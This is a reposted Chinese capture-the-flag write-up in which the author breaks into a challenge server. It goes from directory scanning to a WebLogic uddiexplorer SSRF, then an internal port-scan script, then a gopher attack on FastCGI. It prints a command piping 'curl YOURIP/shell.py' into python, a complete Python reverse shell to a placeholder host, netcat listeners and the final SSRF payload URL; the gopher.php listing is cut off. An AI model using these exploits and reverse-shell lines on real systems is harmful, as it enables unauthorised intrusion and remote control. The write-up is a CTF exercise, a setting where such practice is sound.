三个白帽-寻找来自星星的你-第一期
程序员文章站
2022-05-09 23:06:33
...
三個白帽-寻找来自星星的你 - 第一期
挑战介绍
来自星星的你被我给丢了,我可能需要用我所有的一切才能把你找回,编了两句就编不下去了,好吧,我承认这是一期渗透题,就是这么直接。
挑战目标
http://0761e975dda0c67cb.jie.sangebaimao.com/
0x01 信息收集
打開地址,是一個dz論壇。似乎不怎麼好玩啊,還是最新版本的。
既然是滲透了,感覺祭出大殺器“掃描目錄”! (字典才是關鍵)
很快就get到關鍵信息了(排除dz原有的目錄及頁面)
/info.php/uddiexplorer/
一個是phpinfo()信息,很有用處的。
/opt/discuz/info.php
另一個是weblogic的東西。
果斷百度 "uddiexplorer 漏洞",馬上可以知道 weblogic uddiexplorer存在 SSRF漏洞。
這次滲透的關鍵就在於 SSRF!!!
利用漏洞
SSRF並不只是搞內網,結合三個白帽的結界docker,搞127.0.0.1才是王道!
萬能的百度啊,搜索關鍵字 "SearchPublicRegistries ssrf 漏洞 exp"
得到http://www.tuicool.com/articles/UjaqIbz
得到一個腳本,自己修改一下拿來用!!!
端口掃描.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import reimport requestsdef scan(ip_str): url = 'http://0761e975dda0c67cb.jie.sangebaimao.com' ports = ('21','22','23','53','80','1080','1433','1521','3306','3389','4899','8080','7001','8000','9000','9001',) for port in ports: exp_url = url+"/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"%(ip_str, port) try: response = requests.get(exp_url, timeout=15, verify=False) re_sult1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',response.content) re_sult2 = re.findall('but could not connect',response.content) if len(re_sult1)!=0 and len(re_sult2)==0: print ip_str+':'+port except Exception, e: passif __name__ == "__main__": scan('127.0.0.1')
成功破出22,80,3306,7001,9000等端口。
SSRF+GOPHER一直都很牛逼,最近更是火熱。
還是百度~~
rr菊苣最新文章 《Do Evil Things with gopher://》
0x03 攻击 FastCGI
一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
0x06 参考
PHP FastCGI 的远程利用命令執行
下載fcgi_exp
運行
nc -l -p 9000 >x.txt & go run fcgi_exp.go system 127.0.0.1 9000 /opt/discuz/info.php "curl YOURIP/shell.py|python"php -f gopher.php
把payload保存到x.txt
反彈shell的黑科技,bash反彈無效~~
然後urlencode編碼payload生成ssrf.php
shell.py
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("yourip",9999)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"]);
gopher.php
");?>
成功生成了利用文件ssrf.php
反彈shell
VPS運行
nc -lvv 9999
利用SSRF
http://0761e975dda0c67cb.jie.sangebaimao.com/uddiexplorer/SearchPublicRegistries.jsp?&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business%20location&btnSubmit=Search&operator=YOURIP/ssrf.php
成功反彈~~~
GETFLAG
自己找吧